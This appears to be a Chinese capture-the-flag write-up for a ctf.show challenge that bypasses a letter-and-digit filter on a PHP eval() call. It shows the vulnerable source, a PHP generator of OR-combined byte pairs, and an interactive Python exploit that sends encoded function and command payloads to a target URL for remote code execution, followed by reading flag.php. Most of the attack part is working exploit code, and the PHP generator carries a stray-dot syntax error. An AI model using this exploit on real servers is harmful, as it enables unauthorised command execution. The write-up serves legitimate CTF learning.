image-20250306131136955

[!Important]

RCE无字母数字构造_或

0x01

访问靶场,回显源码

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

0x02

[!Note]

代码审计可知,数字字母字段被过滤,同时过滤了一些字符,异或^,~取反均无法使用。() |未被过滤,故可以采取或方法构造函数payload,编写脚本

或运算字符php生成脚本rec_or.php,输出可字符化且

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<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					continue;
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;.
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

自动化传参python脚本exp.py

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# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os


os.system("php rce_or.php")  #没有将php写入环境变量需手动运行

if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
   
url=argv[1]


def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

0x03

使用脚本传参远程执行ls后发现flag.php,打开flag.php后发现flag